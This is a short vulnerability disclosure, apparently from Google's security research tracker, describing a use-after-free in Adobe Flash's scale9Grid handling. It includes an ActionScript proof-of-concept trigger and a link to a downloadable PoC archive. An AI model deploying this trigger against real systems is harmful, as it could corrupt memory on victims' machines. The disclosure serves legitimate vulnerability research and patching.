Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes.
A PoC is as follows:
var n = { valueOf : func };
var o = {x:n, y:0,width:10, height:10}
_global.mc = this
var newmc:MovieClip = this.createEmptyMovieClip("mymc",1)
mymc.scale9Grid = o
function func() {
trace("here");
var t = _global.mc.createTextField("test",1,1,1,2,3)
t.removeTextField()
return 7
}
A sample fla and swf is attached.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/37863.zip